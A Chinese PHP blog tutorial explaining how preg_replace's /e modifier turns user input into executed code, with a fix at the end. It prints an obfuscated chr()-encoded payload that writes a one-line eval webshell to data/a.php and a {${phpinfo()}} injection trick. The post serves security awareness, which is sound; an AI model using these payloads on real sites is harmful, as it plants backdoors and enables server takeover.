慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
计数器详细设计
Oct 09 PHP
谈谈新手如何学习PHP
Dec 14 PHP
PHP截取汉字乱码问题解决方法mb_substr函数的应用
Mar 30 PHP
php 读取文件乱码问题
Feb 20 PHP
php学习笔记 面向对象中[接口]与[多态性]的应用
Jun 16 PHP
phpMyAdmin 链接表的附加功能尚未激活问题的解决方法(已测)
Mar 27 PHP
如何阻止网站被恶意反向代理访问(防网站镜像)
Mar 18 PHP
php 过滤英文标点符号及过滤中文标点符号代码
Jun 12 PHP
PHP使用静态方法的几个注意事项
Sep 16 PHP
百度地图经纬度转换到腾讯地图/Google 对应的经纬度
Aug 28 PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 PHP
禁止直接访问php文件代码分享
May 05 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
PHP SEO优化之URL优化方法
2011/04/21 PHP
分享常见的几种页面静态化的方法
2015/01/08 PHP
Linux下安装Memcached服务器和客户端与PHP使用示例
2019/04/15 PHP
PHP使用openssl扩展实现加解密方法示例
2020/02/20 PHP
如何实现JS函数的重载
2006/09/22 Javascript
jquery的键盘事件修改代码
2011/02/24 Javascript
jquery 操作日期、星期、元素的追加的实现代码
2012/02/07 Javascript
Json字符串转换为JS对象的高效方法实例
2013/05/01 Javascript
get(0).tagName获得作用标签示例代码
2014/10/08 Javascript
javascript关于继承解析
2016/05/10 Javascript
jQuery的中 is(':visible') 解析及用法(必看)
2017/02/12 Javascript
详解vue-router2.0动态路由获取参数
2017/06/14 Javascript
可能被忽略的一些JavaScript数组方法细节
2019/02/28 Javascript
vue项目中mock.js的使用及基本用法
2019/05/22 Javascript
Vue实现简单计算器
2021/01/20 Vue.js
[05:05]DOTA2亚洲邀请赛 战队出场仪式
2015/02/07 DOTA
python 从远程服务器下载东西的代码
2013/02/10 Python
Request的中断和ErrorHandler实例解析
2018/02/12 Python
Python3正则匹配re.split,re.finditer及re.findall函数用法详解
2018/06/11 Python
Python sorted函数详解(高级篇)
2018/09/18 Python
pandas pivot_table() 按日期分多列数据的方法
2018/11/16 Python
Python enumerate函数功能与用法示例
2019/03/01 Python
Python使用dict.fromkeys()快速生成一个字典示例
2019/04/24 Python
Python3.6实现根据电影名称(支持电视剧名称),获取下载链接的方法
2019/08/26 Python
使用python 将图片复制到系统剪贴中
2019/12/13 Python
python打开文件的方式有哪些
2020/06/29 Python
关于Python不换行输出和不换行输出end=““不显示的问题(亲测已解决)
2020/10/27 Python
夏尔巴人登珠峰品牌:Sherpa Adventure Gear
2018/02/08 全球购物
GIVENCHY纪梵希官方旗舰店:高定彩妆与贵族护肤品
2018/04/16 全球购物
美国儿童珠宝在线零售商:Loveivy
2019/05/22 全球购物
德国家用电器购物网站:Premiumshop24
2019/08/22 全球购物
swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上
2013/07/06 面试题
给学校建议书范文
2014/05/13 职场文书
2014年大学学生会工作总结
2014/12/02 职场文书
新郎新娘致辞
2015/07/31 职场文书
CSS 制作波浪效果的思路
2021/05/18 HTML / CSS